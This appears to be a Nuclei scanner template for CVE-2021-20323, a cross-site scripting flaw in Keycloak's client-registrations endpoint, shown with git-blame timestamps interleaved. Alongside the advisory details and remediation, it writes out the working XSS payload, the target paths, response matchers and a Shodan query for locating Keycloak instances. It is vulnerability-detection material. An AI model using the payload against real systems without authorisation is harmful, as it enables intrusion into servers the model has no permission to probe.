2022-12-07 21:34:02 +00:00
id : CVE-2021-20323
info :
2023-01-16 17:41:15 +00:00
name : Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
2022-12-07 21:34:02 +00:00
author : ndmalc
severity : medium
2022-12-08 05:23:09 +00:00
description : |
2023-01-16 17:41:15 +00:00
Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).
2022-12-07 21:34:02 +00:00
reference :
- https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
- https://bugzilla.redhat.com/show_bug.cgi?id=2013577
- https://access.redhat.com/security/cve/CVE-2021-20323
- https://github.com/ndmalc/CVE-2021-20323
- https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
2022-12-08 05:23:09 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-20323
2022-12-07 21:34:02 +00:00
classification :
2022-12-08 05:55:10 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-12-07 21:34:02 +00:00
cve-id : CVE-2021-20323
2022-12-08 05:55:10 +00:00
cwe-id : CWE-79
2023-10-16 10:55:14 +00:00
epss-score : 0.00208
2023-11-10 17:07:52 +00:00
epss-percentile : 0.58568
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
2022-12-08 05:25:41 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : redhat
product : keycloak
2023-09-06 12:09:01 +00:00
shodan-query : html:"Keycloak"
2022-12-08 05:23:09 +00:00
tags : cve,cve2021,keycloak,xss
2022-12-07 21:34:02 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-07 21:34:02 +00:00
- method : POST
2022-12-08 05:23:09 +00:00
path :
- "{{BaseURL}}/auth/realms/master/clients-registrations/default"
- "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
- "{{BaseURL}}/realms/master/clients-registrations/default"
- "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
2023-07-11 19:49:27 +00:00
body : "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
stop-at-first-match : true
2022-12-07 21:34:02 +00:00
headers :
2022-12-08 05:27:20 +00:00
Content-Type : application/json
2022-12-08 05:23:09 +00:00
2022-12-07 21:34:02 +00:00
matchers-condition : and
matchers :
- type : word
part : body
2022-12-08 05:23:09 +00:00
words :
- 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
2022-12-07 21:34:02 +00:00
- type : word
2022-12-08 05:23:09 +00:00
part : header
2022-12-07 21:34:02 +00:00
words :
2022-12-08 05:23:09 +00:00
- text/html
2022-12-08 05:25:41 +00:00
- type : status
status :
- 400
2023-11-11 17:38:55 +00:00
# digest: 4a0a0047304502210097e3f5361b55f033d6c7c0d4f87d3913e94a5eb059c95108533ebd48e444644a02205842f290c9405d95845ace360862fe67011af6b63d5c16bc83893a19ff1285e9:922c64590222798bb761d5b6d8e72950